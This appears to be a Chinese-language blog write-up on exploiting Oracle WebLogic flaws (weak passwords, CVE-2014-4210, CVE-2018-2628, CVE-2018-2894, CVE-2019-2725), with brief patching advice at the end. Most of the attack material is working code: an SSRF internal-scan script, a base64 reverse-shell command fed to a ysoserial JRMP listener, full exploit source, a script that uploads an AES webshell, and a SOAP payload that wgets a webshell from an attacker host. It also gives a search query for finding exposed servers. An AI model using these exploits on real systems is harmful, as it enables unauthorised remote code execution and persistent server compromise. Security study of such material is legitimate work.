Weblogic中间件漏洞

中间件简绍

常见的中间件

apache

nginx

iis

tomcat

weblogic

jboss

作用是:让一台计算机有处理网站的能力

weblogic javaee中间件(我们国家使用这个的频率很高,而且很多大厂每年争这个漏洞)

jboss javaee中间件

Weblogic

简介

WebLogic Server是美国甲骨文(Oracle)公司开发的一款适用于云环境和传统环境的应用服务中间 件,确切的说是一个基于JavaEE架构的中间件,它提供了一个现代轻型开发平台,用于开发、集成、部 署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

javaee就是java的企业版

特征

默认端口:7001

控制后台:http://ip:7001/console

通过404判断是否是Weblogic

image-20240113115011675

历史漏洞

WebLogic全系漏洞分析截至20230612-上 - FreeBuf网络安全行业门户

漏洞发现

  1. fofa

    fofa:app=”BEA-WebLogic-Server” && country!=”CN”

    默认端口是7001

  2. 批量漏洞扫描

    https://github.com/rabbitmask/WeblogicScan

    https://github.com/0xn0ne/weblogicScanner

环境搭建

https://github.com/vulhub/vulhub/tree/master/weblogic

历史漏洞复现

WeakPassword

Weblogic存在管理后台,通过账号密码登录,由于管理员的疏忽,经常会使用弱口令,或者默认的户名密码

相关弱口令

https://cirt.net/passwords?criteria=weblogic

账号:weblogic 密码:Oracle@123

复现

  1. 先使用蚁剑生成一个jsp木马

    image-20240113201720374

    保存为jsp,然后使用

    1
    jar -cvf x.war x.jsp
  2. 然后登录console后台

    image-20240113201900409

  3. 上载文件

    image-20240113201932094

    后面就一直下一步就可以了

  4. 最后完成

    image-20240113202045465

  5. 上传成功之后,访问

    路径为:

    war包名(不带war)/jsp名(要带jsp)

    image-20240113202211304

  6. 使用蚁剑连接就行

    image-20240113202248644

CVE-2014-4210

这个漏洞是一个ssrf 漏洞

简绍

Weblogic 中存在一个 SSRF 漏洞,利用该漏洞可以发送任意HTTP请求,进而可以攻 击内网中Redis、Fastcgi 等脆弱组件

漏洞产生于 /uddiexplorer/SearchPublicRegistries.jsp 页面中,可以导致 SSRF,用来攻击内网 中一些redis和fastcgi之类的脆弱组件

由于redis 的传输协议是文本协议,所以直接可以通过http 进行攻击

FastCGI 通过构造符合FastCGI 协议的恶意请求,直接与后端服务通信

漏洞产生原因

该漏洞存在于WebLogic的UDDI Explorer组件中的SearchPublicRegistries.jsp页面。UDDI(Universal Description, Discovery, and Integration)是一种用于发现Web服务的技术。

内网存活探测脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import contextlib
import itertools
import requests
url = "http://122.114.225.18:4012/uddiexplorer/SearchPublicRegistries.jsp"

ports = [6378,6379,22,25,80,8080,8888,8000,7001,7002]

for i, port in itertools.product(range(1, 255), ports):
params = dict(
rdoSearch="name",
txtSearchname="sdf",
selfor="Business+location",
btnSubmit="Search",
operator=f"http://172.19.0.{i}:{port}",
)
with contextlib.suppress(Exception):
r = requests.get(url, params=params, timeout = 3)
# print(r.text)
if 'could not connect over HTTP to server' not in r.text and 'No route to host' not in r.text:
print(f'[*] http://172.19.0.{i}:{port}')

ssrf 攻击redis

Redi 传输协议是-resp 协议

在攻击的进程中,可以通过dict/http 进行端口的一个扫描

题外话:获取公网IP

curl cip.cc

CVE-2018-2628

漏洞简介

Weblogic Server WLS Core Components反序列化命令执行漏洞(CVE-2018-2628),该漏洞通过T3协议触发,可导致未授权的用户在远程服务器执行任意命令

T3协议是Oracle WebLogic Server中的一种专有协议,用于在客户端和服务器之间进行通信。它建立在TCP/IP协议之上,是WebLogic Server的默认通信协议,主要用于处理Java客户端和WebLogic Server之间的交互。T3协议也称为丰富套接字,是BEA内部协议,功能丰富,可扩展性好。它是多工双向和异步协议,经过高度优化,只使用一个套接字和一条线程。

影响版本

Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3

漏洞成因

攻击者利用RMI绕过weblogic黑名单限制,将加载的内容利用readObject解析,造成反序列化漏洞,该漏洞主要由于T3协议触发,所有开放weblogic控制台7001端口,默认开启T3服务,攻击者发送构造好的T3协议数据,获取目标服务器的权限。

  1. rmi 使用黑名单限制
  2. T3 协议默认开启

T3 协议和反序列化耦合性缺陷

weblogic T3 协议在实现RMI 通信时,强制绑定java 远程反序列化机制。

当攻击者通过T3 协议发送恶意构造的序列化数据的时候,服务端会直接调用ObjectInputStream 类的readObject() 方法进行反序列化

关键代码

1
2
3
4
// WebLogic内部处理T3请求的伪代码
ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());
Object obj = ois.readObject(); // 漏洞触发点
processRequest(obj);

动态类加载绕过黑名单

Oracle 采用黑名单的方式过滤已经知道的危险类 AnnotationInvocationHandler 但是存在两个关键的缺陷

  • JRMP 协议的二次触发

    攻击者构造的Payload通过RMI Registry动态加载远程恶意类

    1
    2
    3
    // 构造JRMPClient触发远程类加载
    Registry registry = LocateRegistry.getRegistry(attacker_ip, jrmp_port);
    registry.lookup("Exploit");

    该过程绕过本地黑名单检查,实现远程类加载。

  • 第三方调用链

    攻击链依赖Apache Commons Collections库的Transformer类,例如通过InvokerTransformer执行系统命令

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",
    new Class[] {String.class, Class[].class},
    new Object[] {"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke",
    new Class[] {Object.class, Object[].class},
    new Object[] {null, new Object[0]}),
    new InvokerTransformer("exec",
    new Class[] {String.class},
    new Object[] {"/bin/bash -c {echo,base64_cmd}|{base64,-d}|{bash,-i}"})
    };
    ChainedTransformer chain = new ChainedTransformer(transformers);

协议层漏洞触发条件

当攻击者通过T3协议发送包含上述恶意对象的序列化数据时,WebLogic的反序列化过程会依次执行:

  1. 解析JRMP Client请求,建立到攻击者控制的JRMP Listener连接

  2. 通过RMI动态加载远程恶意类字节码

  3. 执行Transformer调用链,最终通过Runtime.getRuntime().exec()实现命令执行

攻击流程

搞懂RMI、JRMP、JNDI-终结篇 - 先知社区 (aliyun.com)

在自己主机中启动 JRMP Server服务并且开启监听,利用JRMP Client 生成一段payload payload中已经设置了攻击者服务器ip及JRMPListener监听的端口 ,利用漏洞exp脚本,将payload发送到有漏洞的weblogic服务器中 ,weblogic服务器接收到payload后,反序列化payload,去连接JRMP Server服务器,两者建立通讯,建立通讯后,JRMP Server服务会发送一段可执行命令的payload ,从而达到任意代码执行的操作

  1. 攻击者开启JRMP Server监听(对应您描述的第1步)
  2. 攻击者向WebLogic发送恶意T3协议数据包(触发目标作为JRMP Client)
  3. 目标服务器收到攻击payload后,作为JRMP Client主动连接攻击者的JRMP Server
  4. 攻击者的JRMP Server向目标服务器发送二次反序列化payload(CommonsCollections1的链)
  5. 目标服务器在反序列化时触发Transformer等类的利用链执行命令

漏洞检测

image-20240705214211614

将url.txt 中的目标改为自己的目标

漏洞复现

其实根据上面的信息,我们就可以推断出整个流程

这里我们使用工具进行攻击

Lighird/CVE-2018-2628: CVE-2018-2628漏洞工具包 (github.com)

  1. 创建一个JRMP Server 端

    1
    java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 10090 Jdk7u21 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc5LjEzNy8yNDQ5NTkgMD4mMQ==}|{base64,-d}|{bash,-i}"

    java -cp 是一条命令行指令,用于设置 Java 应用程序运行时的类路径(classpath)。Classpath 是一个或多个目录、JAR 文件或其他归档文件的列表,Java 虚拟机(JVM)会在这些位置查找用户类、第三方库以及其他依赖项。当你运行一个 Java 程序时,JVM 需要知道所有必需的类和库的位置,而 -cp 参数就是用来指定这些位置的。

    ysoserial.exploit.JRMPListener 这个可以通过java -jar ysoserial-0.1-cve-2018-2628-all.jar 查看

    10090 服务端的端口

    Jdk7u21 为机器的jdk版本 如果jdk版本>1.7,则直接填写Jdk7u21即可

    image-20240705213444618

  2. 生成payload

    1
    java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.79.137:10090 | xxd -p | tr -d $'\n' && echo

    image-20240705213530432

  3. 修改exp

    image-20240705213605106

    image-20240705213614019

  4. 开启nc 监听反弹的shell

    image-20240705213643383

  5. 运行脚本

    image-20240705213751098

    会有点慢,需要等一下

工具的调用过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
package ysoserial.exploit;


import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass;
import java.io.OutputStream;
import java.io.Serializable;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
import java.util.Arrays;

import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import sun.rmi.transport.TransportConstants;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Reflections;


/**
* Generic JRMP listener
*
* Opens up an JRMP listener that will deliver the specified payload to any
* client connecting to it and making a call.
*
* @author mbechler
*
*/
@SuppressWarnings ( {
"restriction"
} )
public class JRMPListener implements Runnable {

private int port;
private Object payloadObject;
private ServerSocket ss;
private Object waitLock = new Object();
private boolean exit;
private boolean hadConnection;
private URL classpathUrl;


public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException {
this.port = port;
this.payloadObject = payloadObject;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}

public JRMPListener (int port, String className, URL classpathUrl) throws IOException {
this.port = port;
this.payloadObject = makeDummyObject(className);
this.classpathUrl = classpathUrl;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}


public boolean waitFor ( int i ) {
try {
if ( this.hadConnection ) {
return true;
}
System.err.println("Waiting for connection");
synchronized ( this.waitLock ) {
this.waitLock.wait(i);
}
return this.hadConnection;
}
catch ( InterruptedException e ) {
return false;
}
}


/**
*
*/
public void close () {
this.exit = true;
try {
this.ss.close();
}
catch ( IOException e ) {}
synchronized ( this.waitLock ) {
this.waitLock.notify();
}
}


public static final void main ( final String[] args ) {

if ( args.length < 3 ) {
System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>");
System.exit(-1);
return;
}

final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);

try {
int port = Integer.parseInt(args[ 0 ]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, payloadObject);
c.run();
}
catch ( Exception e ) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
Utils.releasePayload(args[1], payloadObject);
}


public void run () {
try {
Socket s = null;
try {
while ( !this.exit && ( s = this.ss.accept() ) != null ) {
try {
s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
System.err.println("Have connection from " + remote);

InputStream is = s.getInputStream();
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);

// Read magic (or HTTP wrapper)
bufIn.mark(4);
DataInputStream in = new DataInputStream(bufIn);
int magic = in.readInt();

short version = in.readShort();
if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) {
s.close();
continue;
}

OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
DataOutputStream out = new DataOutputStream(bufOut);

byte protocol = in.readByte();
switch ( protocol ) {
case TransportConstants.StreamProtocol:
out.writeByte(TransportConstants.ProtocolAck);
if ( remote.getHostName() != null ) {
out.writeUTF(remote.getHostName());
} else {
out.writeUTF(remote.getAddress().toString());
}
out.writeInt(remote.getPort());
out.flush();
in.readUTF();
in.readInt();
case TransportConstants.SingleOpProtocol:
doMessage(s, in, out, this.payloadObject);
break;
default:
case TransportConstants.MultiplexProtocol:
System.err.println("Unsupported protocol");
s.close();
continue;
}

bufOut.flush();
out.flush();
}
catch ( InterruptedException e ) {
return;
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
finally {
System.err.println("Closing connection");
s.close();
}

}

}
finally {
if ( s != null ) {
s.close();
}
if ( this.ss != null ) {
this.ss.close();
}
}

}
catch ( SocketException e ) {
return;
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
}


private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
System.err.println("Reading message...");

int op = in.read();

switch ( op ) {
case TransportConstants.Call:
// service incoming RMI call
doCall(in, out, payload);
break;

case TransportConstants.Ping:
// send ack for ping
out.writeByte(TransportConstants.PingAck);
break;

case TransportConstants.DGCAck:
UID u = UID.read(in);
break;

default:
throw new IOException("unknown transport op " + op);
}

s.close();
}


private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {

@Override
protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
return ObjID[].class;
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
return ObjID.class;
} else if ( "java.rmi.server.UID".equals(desc.getName())) {
return UID.class;
}
throw new IOException("Not allowed to read object");
}
};

ObjID read;
try {
read = ObjID.read(ois);
}
catch ( java.io.IOException e ) {
throw new MarshalException("unable to read objID", e);
}


if ( read.hashCode() == 2 ) {
ois.readInt(); // method
ois.readLong(); // hash
System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject()));
}

System.err.println("Sending return with payload for obj " + read);

out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);

oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos);

BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
Reflections.setFieldValue(ex, "val", payload);
oos.writeObject(ex);

oos.flush();
out.flush();

this.hadConnection = true;
synchronized ( this.waitLock ) {
this.waitLock.notifyAll();
}
}

@SuppressWarnings({"deprecation"})
protected static Object makeDummyObject (String className) {
try {
ClassLoader isolation = new ClassLoader() {};
ClassPool cp = new ClassPool();
cp.insertClassPath(new ClassClassPath(Dummy.class));
CtClass clazz = cp.get(Dummy.class.getName());
clazz.setName(className);
return clazz.toClass(isolation).newInstance();
}
catch ( Exception e ) {
e.printStackTrace();
return new byte[0];
}
}


public static class Dummy implements Serializable {
private static final long serialVersionUID = 1L;

}
}

通过上面的漏洞复现过程中,进行分析

1
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 10090 Jdk7u21 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc5LjEzNy8yNDQ5NTkgMD4mMQ==}|{base64,-d}|{bash,-i}"

首先调用了 JRMPListener 开启了一个JRMP server 的服务

然后指出了监听的端口,jdk 的版本,执行的命令

对应的代码在 main 中进行体现

1
2
3
4
5
6
7
if ( args.length < 3 ) {
System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>");
System.exit(-1);
return;
}

final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);

本质上就是开启了一个JRMP server

1
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.79.137:10090 | xxd -p | tr -d $'\n' && echo

然后可以这里选择的是client2 的原因是

JRMPClient2通过ActivationGroupImpl构造远程对象引用,利用ActivationID机制触发二次反序列化,这种非标准实现更易绕过基于常规RMI调用的防护机制。

JRMPClient基于java.rmi.registry.Registry接口实现,对应标准RMI注册表通信

JRMPClient2使用java.rmi.activation.Activator接口,属于RMI对象激活机制

一些疑问和解答

为什么不由 python 脚本直接发送执行命令的t3 协议的数据包,而是需要走JRMP server 去发送

  1. 黑名单绕过

    weblogic 部署的时候可能会部署反序列化黑名单。如果是直接包含恶意的反序列化数据包可能会被直接拦截

    通过JRMP 协议诱导服务器主动连接攻击者的监听器,利用RMI 动态类的加载方式,可以使 weblogic 从攻击者制定的远程地址加载恶意类

    完全的规避本地黑名单检测

  2. 协议特性利用

    • 二次反序列化触发点:JRMP 的RemoteObjectInvocationHandler 在建立的时候必然会触发反序列化操作
    • 上下文权限继承,JRMP 建立执行的代码权限继承上下文,一般java 应用的启动权限都会挺高的
    • 网络穿透,由服务器连接JRMP server 的过程是一个主动连接的过程,一般防火墙会通过weblogic 主动建立的连接
  3. Python脚本生成的初始Payload(约300-500字节)仅包含JRMP连接指令,而真实攻击代码(如内存马注入逻辑)通过后续JRMP通道传输,这种分阶段传递方式具有:

    • 规避WAF检测 :短小的初始Payload难以被规则引擎识别
    • 动态调整能力 :攻击者可实时更换JRMP监听器中的最终攻击代码
    • 隐蔽性增强 :实际恶意代码不落盘,全程内存驻留

关键阶段对比

阶段 直接发送EXP JRMP转发模式
载荷位置 包含在首次请求中 首包仅含连接指令,恶意代码在二次连接传输
黑名单对抗 依赖0day绕过 利用RMI Codebase机制天然绕过
网络审计可见性 完整攻击代码一次性暴露 仅暴露JRMP连接行为(类似正常Java通信)
攻击成功率 依赖具体版本补丁状况 通用性更强(所有未修复版本通杀)

CVE-2018-2894

介绍

在Weblogic Web Service Test Page中存在一处任意文件上传漏洞,Web Service Test Page 在”生产模式”下默认不开启,所以该漏洞有一定限制。利用该漏洞,可以上传任意 jsp 文件,进而获取 服务器权限。

环境搭建

利用vulhub里面的

漏洞复现

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
import re
import sys
import time
import argparse
import requests
import traceback
import xml.etree.ElementTree as ET


def get_current_work_path(host):
geturl = f"{host}/ws_utc/resources/setting/options/general"
ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0'}
values = []
try:
request = requests.get(geturl)
if request.status_code == 404:
exit(f"[-] {host} don't exists CVE-2018-2894")
elif "Deploying Application".lower() in request.text.lower():
print("[*] First Deploying Website Please wait a moment ...")
time.sleep(20)
request = requests.get(geturl, headers=ua)
if "</defaultValue>" in request.content.decode():
root = ET.fromstring(request.content)
value = root.find("section").find("options")
for e in value:
values.extend(
sub.text
for sub in e
if e.tag == "parameter" and sub.tag == "defaultValue"
)
except requests.ConnectionError:
exit(f"[-] Cannot connect url: {geturl}")
if values:
return values[0]
print("[-] Cannot get current work path\n")
exit(request.content)


def get_new_work_path(host):
origin_work_path = get_current_work_path(host)
works = "/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css"
if "user_projects" in origin_work_path:
if "\\" in origin_work_path:
works = works.replace("/", "\\")
current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects\\domains"
dir_len = len(current_work_home.split("\\"))
domain_name = origin_work_path.split("\\")[dir_len]
current_work_home += "\\" + domain_name + works
else:
current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects/domains"
dir_len = len(current_work_home.split("/"))
domain_name = origin_work_path.split("/")[dir_len]
current_work_home += f"/{domain_name}{works}"
else:
current_work_home = origin_work_path
print(f"[*] cannot handle current work home dir: {current_work_home}")
return current_work_home


def set_new_upload_path(host, path):
data = {
"setting_id": "general",
"BasicConfigOptions.workDir": path,
"BasicConfigOptions.proxyHost": "",
"BasicConfigOptions.proxyPort": "80"}
request = requests.post(f"{host}/ws_utc/resources/setting/options", data=data, headers=headers)
if "successfully" in request.content.decode():
return True
print("[-] Change New Upload Path failed")
exit(request.content)


def upload_webshell(host, uri):
set_new_upload_path(host, get_new_work_path(host))
files = {
"ks_edit_mode": "false",
"ks_password_front": password,
"ks_password_changed": "true",
"ks_filename": ("test.jsp", upload_content)
}

request = requests.post(host + uri, files=files)
response = request.text
if match := re.findall("<id>(.*?)</id>", response):
tid = match[-1]
shell_path = f"{host}/ws_utc/css/config/keystore/{str(tid)}_test.jsp"
if "test" in requests.get(shell_path, headers=headers).content.decode():
print(f"[+] {host} exists CVE-2018-2894")
print(f"[+] Check URL: {shell_path} ")
else:
print(f"[-] {host} don't exists CVE-2018-2894")
else:
print(f"[-] {host} don't exists CVE-2018-2894")


if __name__ == "__main__":
start = time.time()
password = "test"
url = "/ws_utc/resources/setting/keystore"
parser = argparse.ArgumentParser()
parser.add_argument("-t", dest='target', default="http://127.0.0.1:7001", type=str,
help="target, such as: http://example.com:7001")

# write into behinder default jsp webshell
upload_content = '<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%><%out.println("test");%>'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Requested-With': 'XMLHttpRequest', }

if len(sys.argv) == 1:
sys.argv.append('-h')
args = parser.parse_args()
target = args.target

target = target.rstrip('/')
if "://" not in target:
target = f"http://{target}"
try:
upload_webshell(target, url)
except Exception as e:
print("[-] Error: \n")
traceback.print_exc()
  1. 执行exp

    image-20240113215833806

  2. 尝试访问

    image-20240113215905029

  3. 使用冰蝎连接

    密码为:rebeyond

    image-20240113220109860

    image-20240113220145994

手动复现

比较麻烦

  1. 先获取一下管理员密码用于设置

    1
    docker-compose logs | grep password

    image-20240705220957024

  2. 尝试登录

    Oracle WebLogic Server 管理控制台

    image-20240705221047832

    利用密码登录之后

  3. 设置

    image-20240705221200603

    image-20240705221220561

    image-20240705221341969

    ws_utc/config.do

    image-20240705221423391

    修改为

    1
    /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

    因为这个目录是不需要密码的

  4. 利用

    在ws_utc/config.do 安全中上传大马

    image-20240705221554732

    image-20240705221639252

    注意是jsp 文件

  5. 审查元素获取时间戳

    image-20240705221734261

  6. 连接

    访问http://ip:port/ws_utc/css/config/keystore/[时间戳]_[文件名]

    http://192.168.79.167:7001/ws_utc/css/config/keystore/1720189002500_ant.jsp

    image-20240705221943146

CVE-2019-2725

这个是一个xml 反序列化漏洞

序列化和反序列化

由于java程序都会将java类转变成为内存中的字节码,就是.class文件,但是java是主要要后端,就需要使用网络通信,就需要转变成为可传输的形式

java内存中的对象 -> 字符串(字节码):序列化

|网络传输|

字符串(字节码)-> 内存中的java对象:反序列化

漏洞描述

Weblogic反序列化远程代码执行漏洞:

cnvd-c-2019-48814

cve-2019-2725

由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请 求,利用该漏洞获取服务器权限,实现远程代码执行。

影响版本

Oracle WebLogic Server 10.*

Oracle WebLogic Server 12.1.3

影响组件

bea_wls9_async_response.war

wsat.war

漏洞判断

判断不安全组件是否开启

通过访问路径/_async/AsyncResponseService

image-20240705234528970

wls9_async_response.war包中的类由于使用注解方法调用了Weblogic原生处理Web服务的类,因此会受该漏洞影响

查看网站路径

/_async/AsyncResponseService?info

漏洞利用

https://github.com/TopScrew/CVE-2019-2725

工具利用

image-20240706002409859

或者是

image-20240706002500252

尝试反弹shell

image-20240706003023536

image-20240706003043064

手动利用

  1. 将攻击脚本上传至攻击机

    准备一个冰蝎的jsp 脚本 然后添加后缀.txt

    然后开启一个http 服务

    image-20240705235909159

  2. 抓包,然后放入poc

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    POST /_async/AsyncResponseService HTTP/1.1
    Host: 192.168.132.144:58832
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    DNT: 1
    Cookie: vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjM1MjA5NjEyLCJlbWFpbCI6IiJ9.cTSjCtV8thEmdfyP49gCsHldvX6KAAMjGQ209TCg0K8; JSESSIONID=050455BA3767B12181C6AA3E09AA3064
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    Content-Length: 854
    SOAPAction:
    Accept: */*
    User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
    Connection: keep-alive
    content-type: text/xml

    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
    xmlns:asy="http://www.bea.com/async/AsyncResponseService">
    <soapenv:Header>
    <wsa:Action>xx</wsa:Action>
    <wsa:RelatesTo>xx</wsa:RelatesTo>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>wget http://HackerIP:8080/JspSpy.jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/2.jsp</string>
    </void>
    </array>
    <void method="start"/></void>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body>
    <asy:onAsyncDelivery/>
    </soapenv:Body></soapenv:Envelope>

    image-20240706000018952

    image-20240706000027009

  3. 连接

    image-20240706001834023

漏洞修复

  1. 对应的补丁包

    https://www.oracle.com/security-alerts/alert-cve-2019-2725.html

  2. 升级本地的jdk

    因为Weblogic所采用的是其安装文件中默认1.6版本的JDK文件,属于存在反序列化漏洞的JDK版本,因 此升级到JDK7u21以上版本可以避免由于Java原生类反序列化漏洞造成的远程代码执行。

  3. 配置URL访问控制策略

    部署于公网的WebLogic服务器,可通过ACL禁止对/_async/*及/wls-wsat/*路径的访问。

  4. 删除不安全文件

删除wls9_async_response.war与wls-wsat.war文件及相关文件夹,并重启Weblogic服务。

一些疑问和解答

什么事soap 报文

SOAP(Simple Object Access Protocol)是一种基于XML的协议,用于在网络上交换结构化的信息。它提供了一组规则来定义消息的格式和处理方法,使得不同操作系统上的应用程序可以通过HTTP或SMTP等传输协议进行通信。

SOAP报文是使用SOAP协议进行通信时的数据载体,它本质上是一个XML文档,遵循SOAP规范定义的特定结构。一个完整的SOAP报文通常包括以下几个部分:

  1. 信封(Envelope):这是SOAP报文的根元素,用于将整个消息封装起来,标识该消息为一个SOAP消息。
  2. 头(Header):可选元素,包含与消息相关的额外需求信息,如认证、事务管理等。
  3. 体(Body):必需元素,包含了实际要发送的消息内容,比如请求或响应的细节。
  4. 错误(Fault):在SOAP Body内,当发生错误时用来返回错误信息。它可以携带关于错误代码、错误消息、角色以及详细错误信息等内容。

SOAP由于其严格的规范和对复杂安全功能的支持,在企业级应用集成和服务导向架构(SOA)中被广泛应用。然而,随着RESTful Web服务的流行,因为后者更轻量且易于使用,SOAP的使用场景有所减少。但即便如此,在需要高安全性、可靠性和标准化操作的环境中,SOAP仍然是一个重要的选择。

为什么使用这个exp 就可以执行命令?

  1. soap 报文注入

    POC构造了一个包含<work:WorkContext>标签的SOAP请求,该标签允许WebLogic处理工作区上下文。攻击者在此标签内嵌入Java类java.lang.ProcessBuilder,并定义其参数为/bin/bash -cwget下载指令。此结构在WebLogic解析时被识别为合法的序列化对象。

  2. 恶意对象反序列化触发

